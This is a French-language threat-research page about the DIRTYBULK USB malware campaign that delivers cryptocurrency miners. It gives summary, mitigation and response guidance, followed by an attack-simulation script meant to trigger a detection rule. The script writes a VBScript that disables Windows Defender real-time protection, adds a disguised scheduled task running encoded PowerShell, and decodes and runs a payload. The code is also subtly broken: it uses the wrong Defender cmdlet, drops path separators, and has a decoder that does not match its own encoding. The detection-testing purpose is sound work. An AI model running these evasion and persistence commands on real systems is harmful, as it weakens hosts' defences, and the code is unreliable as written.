SOC Prime Bias: Moyen

02 Dec 2025 17:53 UTC

DIRTYBULK et ses amis : Malware USB alimentant les opérations de minage de cryptomonnaie

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
DIRTYBULK et ses amis : Malware USB alimentant les opérations de minage de cryptomonnaie
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une campagne d’infection par USB qui utilise des fichiers raccourcis malveillants pour livrer une chaîne de logiciels malveillants à plusieurs niveaux pour le minage de cryptomonnaies. L’exécution initiale charge un DLL nommé printui.dll à partir d’un faux répertoire System32, puis passe la main à un dropper (CUTFAIL), déployant ensuite un téléchargeur (HIGHREPS) et une porte dérobée (PUMPBENCH). La porte dérobée PUMPBENCH communique avec un serveur PostgreSQL pour récupérer des charges utiles supplémentaires et lance finalement des mineurs XMRig. L’opération maintient la persistance grâce à des exclusions dans Windows Defender, des tâches planifiées et des services frauduleux.

Analyse

Les chercheurs de Mandiant ont déconstruit la chaîne de destruction et mis en avant quatre familles principales de logiciels malveillants : DIRTYBULK, CUTFAIL, HIGHREPS, et PUMPBENCH. Ils ont capturé les modèles de nommage de fichiers des acteurs, l’abus de chargement de DLL de printui.dll, les changements de registre, et les indicateurs de réseau associés. L’analyse a également cartographié les techniques de persistance, y compris les tâches planifiées et les services liés au groupe de service DCOMLaunch.

Atténuation

Les défenses recommandées incluent le blocage de l’exécution de fichiers raccourcis provenant de supports amovibles, la surveillance des commandes qui ajoutent des exclusions à Windows Defender, la détection des activités suspectes de chargement de printui.dll, et la recherche de services ou de tâches planifiées qui utilisent des noms aléatoires à six chiffres. L’application de contrôles réseau contre les domaines malveillants connus et les résolveurs DoH peut encore limiter les canaux de commande et de contrôle.

Réponse

Une fois détecté, isolez l’hôte concerné, supprimez le DLL malveillant et les composants associés, supprimez la tâche planifiée et les entrées de service offensantes, et rétablissez les paramètres de Windows Defender en effaçant les exclusions. Effectuez un balayage judiciaire complet pour découvrir les charges résiduelles et suivez les connexions à l’infrastructure identifiée de C2 PostgreSQL. Enfin, mettez à jour le contenu de détection pour couvrir l’utilisation observée des lignes de commande et les comportements de création de fichiers.

Flux d’attaque

Exécution de Simulation

Prérequis : Les vérifications préalables Télémetry & Baseline doivent avoir été passées.

Rationale : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un mauvais diagnostic.

  • Narrative de l’attaque & Commandes :

    1. Étape 1 – Déposer le VBScript malveillant sur le lecteur USB compromis (par exemple, E:payload.vbs). Le script désactive la protection en temps réel de Windows Defender en utilisant Add‑MpPreference, crypte une charge utile avec une routine XOR, et crée une tâche planifiée pour la persistance.

    2. Étape 2 – Exécuter le script via wscript.exe en passant la ligne de commande de persistance directement (pour satisfaire la condition conjonctive de la règle).

    3. Étape 3 – Le script invoque en interne PowerShell pour exécuter la charge utile chiffrée, démontrant la « chaîne d’infection ».

    4. Étape 4 – Après l’exécution, l’attaquant nettoie les artefacts (retire le script, supprime la tâche planifiée).

  • Script de test de régression :

    # ------------------------------------------------------------
    # Test de régression – Simulation de chaîne d'infection par logiciel malveillant
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Créer une charge utile factice chiffrée par XOR --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Écrire le VBScript malveillant -------------------------------------------
    @"
    ' VBScript malveillant – chaîne d'infection
    Set sh = CreateObject("WScript.Shell")
    ' Désactiver la protection en temps réel
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Créer une tâche planifiée pour la persistance
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Décrypter et exécuter la charge utile
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Exécuter le script via wscript.exe (déclenche la règle) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Optionnel) Attendre quelques secondes pour que la tâche déclenche ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Nettoyage – retirer le script et la tâche planifiée
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Commandes de Nettoyage :

    # Supprimer la tâche planifiée résiduelle (si toujours présente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Supprimer tous les fichiers de script restants
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Réactiver la protection en temps réel
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"